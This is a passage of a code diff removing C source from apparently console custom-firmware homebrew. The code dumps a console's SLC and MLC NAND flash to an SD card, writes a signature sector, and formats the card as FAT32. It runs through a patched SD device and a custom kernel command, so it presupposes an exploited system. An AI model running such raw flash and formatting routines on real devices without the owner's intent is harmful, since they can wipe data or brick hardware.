u32 offset = 0;
|
|
||||||
int readResult = 0;
|
|
||||||
int writeResult = 0;
|
|
||||||
int retry = 0;
|
|
||||||
u32 readSize = sizeof(io_buffer) / SLC_BYTES_PER_SECTOR;
|
|
||||||
|
|
||||||
FS_SLEEP(1000);
|
|
||||||
|
|
||||||
do
|
|
||||||
{
|
|
||||||
// don't print single steps in between, just if they have an error or every 0x80 sectors
|
|
||||||
if((readSize == (sizeof(io_buffer) / SLC_BYTES_PER_SECTOR)) || (retry > 0))
|
|
||||||
{
|
|
||||||
_printf(20, y_offset, "%s = %08X / 40000, read code %08X, write code %08X, retry %d", device, offset, readResult, writeResult, retry);
|
|
||||||
}
|
|
||||||
|
|
||||||
//! set flash erased byte to buffer
|
|
||||||
FS_MEMSET(io_buffer, 0xff, sizeof(io_buffer));
|
|
||||||
//readResult = readSlc(io_buffer, offset, (sizeof(io_buffer) / SLC_BYTES_PER_SECTOR), deviceHandle);
|
|
||||||
readResult = srcRead(deviceHandle, io_buffer, offset, readSize, result_array);
|
|
||||||
|
|
||||||
//! retry 2 times as there are read failures in several places
|
|
||||||
if((readResult != 0) && (retry < 2))
|
|
||||||
{
|
|
||||||
readSize = 1;
|
|
||||||
FS_SLEEP(10);
|
|
||||||
retry++;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
retry = 0;
|
|
||||||
|
|
||||||
while(1)
|
|
||||||
{
|
|
||||||
FS_SLEEP(10);
|
|
||||||
|
|
||||||
writeResult = sdcard_readwrite(SDIO_WRITE, io_buffer, (readSize * (SLC_BYTES_PER_SECTOR / SDIO_BYTES_PER_SECTOR)), SDIO_BYTES_PER_SECTOR, base_sectors, NULL, DEVICE_ID_SDCARD_PATCHED);
|
|
||||||
if((writeResult == 0) || (retry >= 2))
|
|
||||||
{
|
|
||||||
retry = 0;
|
|
||||||
base_sectors += (readSize * (SLC_BYTES_PER_SECTOR / SDIO_BYTES_PER_SECTOR));
|
|
||||||
offset += readSize;
|
|
||||||
|
|
||||||
// if we did single sector reads and got to a point where we can do multiple reads -> switch to multiple sector reads
|
|
||||||
if((offset % (sizeof(io_buffer) / SLC_BYTES_PER_SECTOR)) == 0)
|
|
||||||
{
|
|
||||||
readSize = sizeof(io_buffer) / SLC_BYTES_PER_SECTOR;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
retry++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
while (offset < SLC_SECTOR_COUNT);
|
|
||||||
|
|
||||||
FS_SVC_DESTROYMUTEX(sync_mutex);
|
|
||||||
|
|
||||||
// last print to show "done"
|
|
||||||
_printf(20, y_offset, "%s = %08X / 40000, read code %08X, write code %08X, retry %d", device, offset, readResult, writeResult, retry);
|
|
||||||
}
|
|
||||||
|
|
||||||
void mlc_dump(u32 base_sector, u32 mlc_end)
|
|
||||||
{
|
|
||||||
u32 offset = 0;
|
|
||||||
|
|
||||||
int retry = 0;
|
|
||||||
int mlc_result = 0;
|
|
||||||
int callback_result = 0;
|
|
||||||
int write_result = 0;
|
|
||||||
int print_counter = 0;
|
|
||||||
|
|
||||||
do
|
|
||||||
{
|
|
||||||
//! print only every 4th time
|
|
||||||
if(print_counter == 0)
|
|
||||||
{
|
|
||||||
print_counter = 4;
|
|
||||||
_printf(20, 70, "mlc = %08X / %08X, mlc res %08X, sd res %08X, retry %d", offset, mlc_end, mlc_result, write_result, retry);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
--print_counter;
|
|
||||||
}
|
|
||||||
|
|
||||||
//! set flash erased byte to buffer
|
|
||||||
FS_MEMSET(io_buffer, 0xff, sizeof(io_buffer));
|
|
||||||
mlc_result = sdcard_readwrite(SDIO_READ, io_buffer, (sizeof(io_buffer) / MLC_BYTES_PER_SECTOR), MLC_BYTES_PER_SECTOR, offset, &callback_result, DEVICE_ID_MLC);
|
|
||||||
|
|
||||||
if((mlc_result == 0) && (callback_result != 0))
|
|
||||||
{
|
|
||||||
mlc_result = callback_result;
|
|
||||||
}
|
|
||||||
|
|
||||||
//! retry 5 times as there are read failures in several places
|
|
||||||
if((mlc_result != 0) && (retry < 5))
|
|
||||||
{
|
|
||||||
FS_SLEEP(100);
|
|
||||||
retry++;
|
|
||||||
print_counter = 0; // print errors directly
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
write_result = sdcard_readwrite(SDIO_WRITE, io_buffer, (sizeof(io_buffer) / MLC_BYTES_PER_SECTOR), SDIO_BYTES_PER_SECTOR, base_sector + offset, NULL, DEVICE_ID_SDCARD_PATCHED);
|
|
||||||
if((write_result == 0) || (retry >= 5))
|
|
||||||
{
|
|
||||||
retry = 0;
|
|
||||||
offset += (sizeof(io_buffer) / MLC_BYTES_PER_SECTOR);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
FS_SLEEP(100);
|
|
||||||
retry++;
|
|
||||||
print_counter = 0; // print errors directly
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
while(offset < mlc_end); //! TODO: make define MLC32_SECTOR_COUNT
|
|
||||||
|
|
||||||
// last print to show "done"
|
|
||||||
_printf(20, 70, "mlc = %08X / %08X, mlc res %08X, sd res %08X, retry %d", offset, mlc_end, mlc_result, write_result, retry);
|
|
||||||
}
|
|
||||||
|
|
||||||
int check_nand_type(void)
|
|
||||||
{
|
|
||||||
//! check if MLC size is > 8GB
|
|
||||||
if( FS_MMC_MLC_STRUCT[0x30/4] > 0x1000000)
|
|
||||||
{
|
|
||||||
return MLC_NAND_TYPE_32GB;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
return MLC_NAND_TYPE_8GB;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
int check_nand_dump(void)
|
|
||||||
{
|
|
||||||
u32 mlc_sector_count = FS_MMC_MLC_STRUCT[0x30/4];
|
|
||||||
|
|
||||||
int signature_correct = 0;
|
|
||||||
sdio_nand_signature_sector_t * sign_sect = (sdio_nand_signature_sector_t*)io_buffer;
|
|
||||||
memset(sign_sect, 0, SDIO_BYTES_PER_SECTOR);
|
|
||||||
sdcard_readwrite(SDIO_READ, sign_sect, 1, SDIO_BYTES_PER_SECTOR, NAND_DUMP_SIGNATURE_SECTOR, NULL, DEVICE_ID_SDCARD_PATCHED);
|
|
||||||
|
|
||||||
signature_correct = (sign_sect->signature == NAND_DUMP_SIGNATURE);
|
|
||||||
|
|
||||||
memset(io_buffer, 0, SDIO_BYTES_PER_SECTOR);
|
|
||||||
sdcard_readwrite(SDIO_READ, io_buffer, 1, SDIO_BYTES_PER_SECTOR, 0, NULL, DEVICE_ID_SDCARD_PATCHED);
|
|
||||||
|
|
||||||
return signature_correct && CheckFAT32PartitionOffset(io_buffer, MLC_BASE_SECTORS + mlc_sector_count);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void wait_format_confirmation(void)
|
|
||||||
{
|
|
||||||
int timeout = 600;
|
|
||||||
//"Press the POWER button SD then , else the console will reboot in %u seconds."
|
|
||||||
while(1)
|
|
||||||
{
|
|
||||||
_printf(20, 30, "No NAND dump detected. SD Format and complete NAND dump required.");
|
|
||||||
_printf(20, 40, "Press the POWER button to format SD card otherwise the console will reboot in %d seconds.", timeout/10);
|
|
||||||
|
|
||||||
if(svcCustomKernelCommand(KERNEL_READ32, LT_GPIO_IN) & GPIO_IN_POWER_BUTTON)
|
|
||||||
{
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(--timeout == 0)
|
|
||||||
{
|
|
||||||
FS_SLEEP(1000);
|
|
||||||
svcShutdown(SHUTDOWN_TYPE_REBOOT);
|
|
||||||
}
|
|
||||||
|
|
||||||
FS_SLEEP(100);
|
|
||||||
}
|
|
||||||
|
|
||||||
// clear the lines
|
|
||||||
clearLine(30, 0x000000FF);
|
|
||||||
clearLine(40, 0x000000FF);
|
|
||||||
}
|
|
||||||
|
|
||||||
void dump_nand_complete()
|
|
||||||
{
|
|
||||||
wait_format_confirmation();
|
|
||||||
|
|
||||||
mlc_init();
|
|
||||||
FS_SLEEP(1000);
|
|
||||||
|
|
||||||
int nand_type = check_nand_type();
|
|
||||||
u32 sdio_sector_count = FS_MMC_SDCARD_STRUCT[0x30/4];
|
|
||||||
u32 mlc_sector_count = FS_MMC_MLC_STRUCT[0x30/4];
|
|
||||||
u32 fat32_partition_offset = (MLC_BASE_SECTORS + mlc_sector_count);
|
|
||||||
|
|
||||||
_printf(20, 30, "Detected %d GB MLC NAND type.", (nand_type == MLC_NAND_TYPE_8GB) ? 8 : 32);
|
|
||||||
|
|
||||||
if(sdio_sector_count < fat32_partition_offset)
|
|
||||||
{
|
|
||||||
_printf(20, 40, "SD card too small! Required sectors %u > available %u.", fat32_partition_offset, sdio_sector_count);
|
|
||||||
FS_SLEEP(3000);
|
|
||||||
svcShutdown(SHUTDOWN_TYPE_REBOOT);
|
|
||||||
}
|
|
||||||
|
|
||||||
if( FormatSDCard(fat32_partition_offset, sdio_sector_count) < 0 )
|
|
||||||
{
|
|
||||||
FS_SLEEP(3000);
|
|
||||||
svcShutdown(SHUTDOWN_TYPE_REBOOT);
|
|
||||||
}
|
|
||||||
|
|
||||||
slc_dump(FS_SLC_PHYS_DEV_STRUCT, "slc ", SLC_BASE_SECTORS, 50);
|
|
||||||
slc_dump(FS_SLCCMPT_PHYS_DEV_STRUCT, "slccmpt", SLCCMPT_BASE_SECTORS, 60);
|
|
||||||
mlc_dump(MLC_BASE_SECTORS, mlc_sector_count);
|
|
||||||
|
|
||||||
//! write marker to SD card from which we can auto detect NAND dump
|
|
||||||
//! we can actually use that for settings
|
|
||||||
sdio_nand_signature_sector_t * sign_sect = (sdio_nand_signature_sector_t*)io_buffer;
|
|
||||||
memset(sign_sect, 0, SDIO_BYTES_PER_SECTOR);
|
|
||||||
sign_sect->signature = NAND_DUMP_SIGNATURE;
|
|
||||||
sign_sect->nand_descriptions[0].nand_type = NAND_DESC_TYPE_SLC;
|
|
||||||
sign_sect->nand_descriptions[0].base_sector = SLC_BASE_SECTORS;
|
|
||||||
sign_sect->nand_descriptions[0].sector_count = SLC_SECTOR_COUNT * (SLC_BYTES_PER_SECTOR / SDIO_BYTES_PER_SECTOR);
|
|
||||||
sign_sect->nand_descriptions[1].nand_type = NAND_DESC_TYPE_SLCCMPT;
|
|
||||||
sign_sect->nand_descriptions[1].base_sector = SLCCMPT_BASE_SECTORS;
|
|
||||||
sign_sect->nand_descriptions[1].sector_count = SLC_SECTOR_COUNT * (SLC_BYTES_PER_SECTOR / SDIO_BYTES_PER_SECTOR);
|
|
||||||
sign_sect->nand_descriptions[2].nand_type = NAND_DESC_TYPE_MLC;
|
|
||||||
sign_sect->nand_descriptions[2].base_sector = MLC_BASE_SECTORS;
|
|
||||||
sign_sect->nand_descriptions[2].sector_count = mlc_sector_count * (MLC_BYTES_PER_SECTOR / SDIO_BYTES_PER_SECTOR);
|
|
||||||
|
|
||||||
sdcard_readwrite(SDIO_WRITE, io_buffer, 1, SDIO_BYTES_PER_SECTOR, NAND_DUMP_SIGNATURE_SECTOR, NULL, DEVICE_ID_SDCARD_PATCHED);
|
|
||||||
|
|
||||||
_printf(20, 80, "Complete! -> rebooting into sysNAND...");
|
|
||||||
|
|
||||||
FS_SLEEP(3000);
|
|
||||||
svcShutdown(SHUTDOWN_TYPE_REBOOT);
|
|
||||||
}
|
|
||||||
|
|
||||||
#if 0
|
|
||||||
// debug and not used at the moment
|
|
||||||
void dump_data(void* data_ptr, u32 size)
|
|
||||||
{
|
|
||||||
static u32 dumpdata_offset = 0;
|
|
||||||
|
|
||||||
u32 num_sectors = size >> 9; // size / SDIO_BYTES_PER_SECTOR but faster ;)
|
|
||||||
if (num_sectors == 0)
|
|
||||||
num_sectors = 1;
|
|
||||||
|
|
||||||
sdcard_readwrite(SDIO_WRITE, data_ptr, num_sectors, SDIO_BYTES_PER_SECTOR, DUMPDATA_BASE_SECTORS + dumpdata_offset, NULL, DEVICE_ID_SDCARD_PATCHED);
|
|
||||||
dumpdata_offset += num_sectors;
|
|
||||||
}
|
|
||||||
|
|
||||||
void dump_lots_data(u8* addr, u32 size)
|
|
||||||
{
|
|
||||||
u32 cur_size;
|
|
||||||
u32 size_remaining = size;
|
|
||||||
u8* cur_addr = addr;
|
|
||||||
do
|
|
||||||
{
|
|
||||||
cur_size = sizeof(io_buffer);
|
|
||||||
if (cur_size > size_remaining)
|
|
||||||
cur_size = size_remaining;
|
|
||||||
|
|
||||||
FS_MEMCPY(io_buffer, cur_addr, cur_size);
|
|
||||||
dump_data(io_buffer, cur_size);
|
|
||||||
|
|
||||||
cur_addr += cur_size;
|
|
||||||
size_remaining -= cur_size;
|
|
||||||
}
|
|
||||||
while (cur_size != 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
void dump_syslog()
|
|
||||||
{
|
|
||||||
FS_MEMCPY(io_buffer, *(void**)0x05095ECC, sizeof(io_buffer));
|
|
||||||
sdcard_readwrite(SDIO_WRITE, io_buffer, sizeof(io_buffer) / SDIO_BYTES_PER_SECTOR, SDIO_BYTES_PER_SECTOR, SYSLOG_BASE_SECTORS, NULL, DEVICE_ID_SDCARD_PATCHED);
|
|
||||||
}
|
|
||||||
#endif
|
|
@ -1,15 +0,0 @@
|
|||||||
#ifndef _DUMPER_H_
|
|
||||||
#define _DUMPER_H_
|
|
||||||
|
|
||||||
//! debug dumps
|
|
||||||
void dump_syslog();
|
|
||||||
void dump_data(void* data_ptr, u32 size);
|
|
||||||
void dump_lots_data(u8* addr, u32 size);
|
|
||||||
|
|
||||||
int check_nand_type(void);
|
|
||||||
int check_nand_dump(void);
|
|
||||||
void slc_dump(int deviceId, const char* format, u32 base_sectors);
|
|
||||||
void mlc_dump(u32 base_sector, u32 mlc_end);
|
|
||||||
void dump_nand_complete();
|
|
||||||
|
|
||||||
#endif // _DUMPER_H_
|
|
@ -1,326 +0,0 @@
|
|||||||
#include <stdio.h>
|
|
||||||
#include "types.h"
|
|
||||||
#include "imports.h"
|
|
||||||
#include "devices.h"
|
|
||||||
#include "sdio.h"
|
|
||||||
#include "text.h"
|
|
||||||
|
|
||||||
extern unsigned char io_buffer[0x40000];
|
|
||||||
|
|
||||||
#define PARTITION_TYPE_FAT32 0x0c
|
|
||||||
#define MAX_PARTITIONS 32 /* Maximum number of partitions that can be found */
|
|
||||||
#define MAX_MOUNTS 10 /* Maximum number of mounts available at one time */
|
|
||||||
#define MAX_SYMLINK_DEPTH 10 /* Maximum search depth when resolving symbolic links */
|
|
||||||
|
|
||||||
#define MBR_SIGNATURE 0x55AA
|
|
||||||
#define EBR_SIGNATURE MBR_SIGNATURE
|
|
||||||
|
|
||||||
#define PARTITION_BOOTABLE 0x80 /* Bootable (active) */
|
|
||||||
#define PARTITION_NONBOOTABLE 0x00 /* Non-bootable */
|
|
||||||
#define PARTITION_TYPE_GPT 0xEE /* Indicates that a GPT header is available */
|
|
||||||
|
|
||||||
typedef struct _PARTITION_RECORD {
|
|
||||||
u8 status; /* Partition status; see above */
|
|
||||||
u8 chs_start[3]; /* Cylinder-head-sector address to first block of partition */
|
|
||||||
u8 type; /* Partition type; see above */
|
|
||||||
u8 chs_end[3]; /* Cylinder-head-sector address to last block of partition */
|
|
||||||
u32 lba_start; /* Local block address to first sector of partition */
|
|
||||||
u32 block_count; /* Number of blocks in partition */
|
|
||||||
} __attribute__((__packed__)) PARTITION_RECORD;
|
|
||||||
|
|
||||||
|
|
||||||
typedef struct _MASTER_BOOT_RECORD {
|
|
||||||
u8 code_area[446]; /* Code area; normally empty */
|
|
||||||
PARTITION_RECORD partitions[4]; /* 4 primary partitions */
|
|
||||||
u16 signature; /* MBR signature; 0xAA55 */
|
|
||||||
} __attribute__((__packed__)) MASTER_BOOT_RECORD;
|
|
||||||
|
|
||||||
typedef struct tagFAT_BOOTSECTOR32
|
|
||||||
{
|
|
||||||
// Common fields.
|
|
||||||
u8 sJmpBoot[3];
|
|
||||||
u8 sOEMName[8];
|
|
||||||
u16 wBytsPerSec;
|
|
||||||
u8 bSecPerClus;
|
|
||||||
u16 wRsvdSecCnt;
|
|
||||||
u8 bNumFATs;
|
|
||||||
u16 wRootEntCnt;
|
|
||||||
u16 wTotSec16;
|
|
||||||
u8 bMedia;
|
|
||||||
u16 wFATSz16;
|
|
||||||
u16 wSecPerTrk;
|
|
||||||
u16 wNumHeads;
|
|
||||||
u32 dHiddSec;
|
|
||||||
u32 dTotSec32;
|
|
||||||
// Fat 32/16 only
|
|
||||||
u32 dFATSz32;
|
|
||||||
u16 wExtFlags;
|
|
||||||
u16 wFSVer;
|
|
||||||
u32 dRootClus;
|
|
||||||
u16 wFSInfo;
|
|
||||||
u16 wBkBootSec;
|
|
||||||
u8 Reserved[12];
|
|
||||||
u8 bDrvNum;
|
|
||||||
u8 Reserved1;
|
|
||||||
u8 bBootSig; // == 0x29 if next three fields are ok
|
|
||||||
u32 dBS_VolID;
|
|
||||||
u8 sVolLab[11];
|
|
||||||
u8 sBS_FilSysType[8];
|
|
||||||
|
|
||||||
} __attribute__((__packed__)) FAT_BOOTSECTOR32;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
u32 dLeadSig;
|
|
||||||
u8 sReserved1[480];
|
|
||||||
u32 dStrucSig;
|
|
||||||
u32 dFree_Count;
|
|
||||||
u32 dNxt_Free;
|
|
||||||
u8 sReserved2[12];
|
|
||||||
u32 dTrailSig;
|
|
||||||
} __attribute__((__packed__)) FAT_FSINFO;
|
|
||||||
|
|
||||||
static inline u8 get_sectors_per_cluster (u64 DiskSizeBytes)
|
|
||||||
{
|
|
||||||
u8 ret = 0x01; // 1 sector per cluster
|
|
||||||
u32 DiskSizeMB = DiskSizeBytes/(1024*1024);
|
|
||||||
|
|
||||||
// 512 MB to 8,191 MB 4 KB
|
|
||||||
if (DiskSizeMB > 512)
|
|
||||||
ret = 0x8;
|
|
||||||
|
|
||||||
// 8,192 MB to 16,383 MB 8 KB
|
|
||||||
if (DiskSizeMB > 8192)
|
|
||||||
ret = 0x10;
|
|
||||||
|
|
||||||
// 16,384 MB to 32,767 MB 16 KB
|
|
||||||
if (DiskSizeMB > 16384)
|
|
||||||
ret = 0x20; // ret = 0x20;
|
|
||||||
|
|
||||||
// Larger than 32,768 MB 32 KB
|
|
||||||
if (DiskSizeMB > 32768)
|
|
||||||
ret = 0x40; // ret = 0x40;
|
|
||||||
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
static inline u32 MakeVolumeID()
|
|
||||||
{
|
|
||||||
// we dont have time yet so for now its fixed
|
|
||||||
//time_t rawtime = time(0);
|
|
||||||
//struct tm * timeinfo = localtime(&rawtime);
|
|
||||||
|
|
||||||
//u16 hi = le16(timeinfo->tm_mday + (timeinfo->tm_mon << 8) + (timeinfo->tm_sec << 8));
|
|
||||||
//u16 lo = le16((timeinfo->tm_hour << 8) + timeinfo->tm_min + timeinfo->tm_year + 1900);
|
|
||||||
u16 hi = 0x0BAD;
|
|
||||||
u16 lo = 0xBABE;
|
|
||||||
|
|
||||||
return (lo + (hi << 16));
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
int FormatToFAT32(u32 lba, u32 sec_count)
|
|
||||||
{
|
|
||||||
if(sec_count < 0xFFFF)
|
|
||||||
{
|
|
||||||
_printf(20, 40, "Not enough sectors for FAT32");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
int BytesPerSect = SDIO_BYTES_PER_SECTOR;
|
|
||||||
u16 ReservedSectCount = 32;
|
|
||||||
u8 NumFATs = 2;
|
|
||||||
|
|
||||||
memset(io_buffer, 0, BytesPerSect*18);
|
|
||||||
|
|
||||||
FAT_BOOTSECTOR32 * FAT32BootSect = (FAT_BOOTSECTOR32 *) (io_buffer+16*BytesPerSect);
|
|
||||||
FAT_FSINFO * FAT32FsInfo = (FAT_FSINFO*) (io_buffer+17*BytesPerSect);
|
|
||||||
|
|
||||||
// fill out the boot sector and fs info
|
|
||||||
FAT32BootSect->sJmpBoot[0] = 0xEB;
|
|
||||||
FAT32BootSect->sJmpBoot[1] = 0x5A;
|
|
||||||
FAT32BootSect->sJmpBoot[2] = 0x90;
|
|
||||||
memcpy(FAT32BootSect->sOEMName, "MSWIN4.1", 8);
|
|
||||||
|
|
||||||
FAT32BootSect->wBytsPerSec = le16(BytesPerSect);
|
|
||||||
|
|
||||||
u8 SectorsPerCluster = get_sectors_per_cluster((u64) sec_count * (u64) BytesPerSect);
|
|
||||||
|
|
||||||
FAT32BootSect->bSecPerClus = SectorsPerCluster;
|
|
||||||
FAT32BootSect->wRsvdSecCnt = le16(ReservedSectCount);
|
|
||||||
FAT32BootSect->bNumFATs = NumFATs;
|
|
||||||
FAT32BootSect->wRootEntCnt = 0;
|
|
||||||
FAT32BootSect->wTotSec16 = 0;
|
|
||||||
FAT32BootSect->bMedia = 0xF8;
|
|
||||||
FAT32BootSect->wFATSz16 = 0;
|
|
||||||
FAT32BootSect->wSecPerTrk = le16(63); //SectorsPerTrack;
|
|
||||||
FAT32BootSect->wNumHeads = le16(255); //TracksPerCylinder;
|
|
||||||
FAT32BootSect->dHiddSec = le32(lba); //HiddenSectors;
|
|
||||||
FAT32BootSect->dTotSec32 = le32(sec_count);
|
|
||||||
|
|
||||||
// This is based on
|
|
||||||
// http://hjem.get2net.dk/rune_moeller_barnkob/filesystems/fat.html
|
|
||||||
u32 FatSize = (4*(sec_count-ReservedSectCount)/((SectorsPerCluster*BytesPerSect)+(4*NumFATs)))+1;
|
|
||||||
|
|
||||||
FAT32BootSect->dFATSz32 = le32(FatSize);
|
|
||||||
FAT32BootSect->wExtFlags = 0;
|
|
||||||
FAT32BootSect->wFSVer = 0;
|
|
||||||
FAT32BootSect->dRootClus = le32(2);
|
|
||||||
FAT32BootSect->wFSInfo = le16(1);
|
|
||||||
FAT32BootSect->wBkBootSec = le16(6); //BackupBootSect
|
|
||||||
FAT32BootSect->bDrvNum = 0x80;
|
|
||||||
FAT32BootSect->Reserved1 = 0;
|
|
||||||
FAT32BootSect->bBootSig = 0x29;
|
|
||||||
|
|
||||||
FAT32BootSect->dBS_VolID = MakeVolumeID();
|
|
||||||
memcpy(FAT32BootSect->sVolLab, "NO NAME ", 11);
|
|
||||||
memcpy(FAT32BootSect->sBS_FilSysType, "FAT32 ", 8);
|
|
||||||
((u8 *)FAT32BootSect)[510] = 0x55; //Boot Record Signature
|
|
||||||
((u8 *)FAT32BootSect)[511] = 0xAA; //Boot Record Signature
|
|
||||||
|
|
||||||
// FSInfo sect signatures
|
|
||||||
FAT32FsInfo->dLeadSig = le32(0x41615252);
|
|
||||||
FAT32FsInfo->dStrucSig = le32(0x61417272);
|
|
||||||
FAT32FsInfo->dTrailSig = le32(0xaa550000);
|
|
||||||
((u8 *)FAT32FsInfo)[510] = 0x55; //Boot Record Signature
|
|
||||||
((u8 *)FAT32FsInfo)[511] = 0xAA; //Boot Record Signature
|
|
||||||
|
|
||||||
// First FAT Sector
|
|
||||||
u32 FirstSectOfFat[3];
|
|
||||||
FirstSectOfFat[0] = le32(0x0ffffff8); // Reserved cluster 1 media id in low byte
|
|
||||||
FirstSectOfFat[1] = le32(0x0fffffff); // Reserved cluster 2 EOC
|
|
||||||
FirstSectOfFat[2] = le32(0x0fffffff); // end of cluster chain for root dir
|
|
||||||
|
|
||||||
u32 UserAreaSize = sec_count - ReservedSectCount - (NumFATs*FatSize);
|
|
||||||
u32 ClusterCount = UserAreaSize/SectorsPerCluster;
|
|
||||||
|
|
||||||
if (ClusterCount > 0x0FFFFFFF)
|
|
||||||
{
|
|
||||||
_printf(20, 40, "This drive has more than 2^28 clusters. Partition might be too small.");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ClusterCount < 65536)
|
|
||||||
{
|
|
||||||
_printf(20, 40, "FAT32 must have at least 65536 clusters");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
u32 FatNeeded = (ClusterCount * 4 + (BytesPerSect-1))/BytesPerSect;
|
|
||||||
if (FatNeeded > FatSize)
|
|
||||||
{
|
|
||||||
_printf(20, 40, "This drive is too big, %u > %u", FatNeeded, FatSize);
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// fix up the FSInfo sector
|
|
||||||
FAT32FsInfo->dFree_Count = le32((UserAreaSize/SectorsPerCluster)-1);
|
|
||||||
FAT32FsInfo->dNxt_Free = le32(3); // clusters 0-1 resered, we used cluster 2 for the root dir
|
|
||||||
|
|
||||||
/** Now all is done and we start writting **/
|
|
||||||
|
|
||||||
// First zero out ReservedSect + FatSize * NumFats + SectorsPerCluster
|
|
||||||
u32 SystemAreaSize = (ReservedSectCount+(NumFATs*FatSize) + SectorsPerCluster);
|
|
||||||
u32 done = 0;
|
|
||||||
// Read the first sector on the device
|
|
||||||
while(SystemAreaSize > 0)
|
|
||||||
{
|
|
||||||
int write = SystemAreaSize < 16 ? SystemAreaSize : 16;
|
|
||||||
|
|
||||||
int result = sdcard_readwrite(SDIO_WRITE, io_buffer, write, SDIO_BYTES_PER_SECTOR, lba+done, NULL, DEVICE_ID_SDCARD_PATCHED);
|
|
||||||
if(result != 0)
|
|
||||||
{
|
|
||||||
_printf(20, 40, "Cannot write to the drive.");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
SystemAreaSize -= write;
|
|
||||||
done += write;
|
|
||||||
}
|
|
||||||
|
|
||||||
for (int i = 0; i < 2; i++)
|
|
||||||
{
|
|
||||||
u32 SectorStart = (i == 0) ? lba : lba+6; //BackupBootSect
|
|
||||||
|
|
||||||
int result = sdcard_readwrite(SDIO_WRITE, FAT32BootSect, 1, SDIO_BYTES_PER_SECTOR, SectorStart, NULL, DEVICE_ID_SDCARD_PATCHED);
|
|
||||||
if(result != 0)
|
|
||||||
{
|
|
||||||
_printf(20, 40, "Cannot write to the drive.");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
result = sdcard_readwrite(SDIO_WRITE, FAT32FsInfo, 1, SDIO_BYTES_PER_SECTOR, SectorStart+1, NULL, DEVICE_ID_SDCARD_PATCHED);
|
|
||||||
if(result != 0)
|
|
||||||
{
|
|
||||||
_printf(20, 40, "Cannot write to the drive.");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
memcpy(io_buffer, FirstSectOfFat, sizeof(FirstSectOfFat));
|
|
||||||
|
|
||||||
// Write the first fat sector in the right places
|
|
||||||
for (int i = 0; i < NumFATs; i++)
|
|
||||||
{
|
|
||||||
u32 SectorStart = lba + ReservedSectCount + (i * FatSize);
|
|
||||||
|
|
||||||
int result = sdcard_readwrite(SDIO_WRITE, io_buffer, 1, SDIO_BYTES_PER_SECTOR, SectorStart, NULL, DEVICE_ID_SDCARD_PATCHED);
|
|
||||||
if(result != 0)
|
|
||||||
{
|
|
||||||
_printf(20, 40, "Cannot write to the drive.");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
int CheckFAT32PartitionOffset(u8 * mbr_buf, u32 partition_offset)
|
|
||||||
{
|
|
||||||
MASTER_BOOT_RECORD *mbr = (MASTER_BOOT_RECORD*)mbr_buf;
|
|
||||||
return (mbr->signature == MBR_SIGNATURE) && (le32(mbr->partitions[0].lba_start) >= partition_offset);
|
|
||||||
}
|
|
||||||
|
|
||||||
int FormatSDCard(u32 partition_offset, u32 total_sectors)
|
|
||||||
{
|
|
||||||
_printf(20, 40, "Formatting SD card....");
|
|
||||||
|
|
||||||
MASTER_BOOT_RECORD *mbr = (MASTER_BOOT_RECORD*)io_buffer;
|
|
||||||
memset(mbr, 0, SDIO_BYTES_PER_SECTOR);
|
|
||||||
|
|
||||||
int result = sdcard_readwrite(SDIO_READ, mbr, 1, SDIO_BYTES_PER_SECTOR, 0, NULL, DEVICE_ID_SDCARD_PATCHED);
|
|
||||||
if(result != 0)
|
|
||||||
{
|
|
||||||
_printf(20, 40, "SD card read failed %i", result);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
u32 lba_start = partition_offset;
|
|
||||||
|
|
||||||
result = FormatToFAT32(lba_start, total_sectors - partition_offset);
|
|
||||||
if(result != 0)
|
|
||||||
return result;
|
|
||||||
|
|
||||||
memset(mbr, 0, sizeof(MASTER_BOOT_RECORD));
|
|
||||||
mbr->signature = MBR_SIGNATURE;
|
|
||||||
|
|
||||||
// setup primary FAT32 partition
|
|
||||||
mbr->partitions[0].status = PARTITION_BOOTABLE; // set activate
|
|
||||||
mbr->partitions[0].chs_start[0] = mbr->partitions[0].chs_end[0] = 0xFE;
|
|
||||||
mbr->partitions[0].chs_start[1] = mbr->partitions[0].chs_end[1] = 0xFF;
|
|
||||||
mbr->partitions[0].chs_start[2] = mbr->partitions[0].chs_end[2] = 0xFF;
|
|
||||||
mbr->partitions[0].type = PARTITION_TYPE_FAT32;
|
|
||||||
mbr->partitions[0].lba_start = le32(lba_start);
|
|
||||||
mbr->partitions[0].block_count = le32((total_sectors - partition_offset));
|
|
||||||
|
|
||||||
|
|
||||||
result = sdcard_readwrite(SDIO_WRITE, mbr, 1, SDIO_BYTES_PER_SECTOR, 0, NULL, DEVICE_ID_SDCARD_PATCHED);
|
|
||||||
if(result != 0)
|
|
||||||
{
|
|
||||||
_printf(20, 40, "SD card write failed %i", result);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
_printf(20, 40, "Format of SD card finished successfully", result);
|
|
||||||
}
|
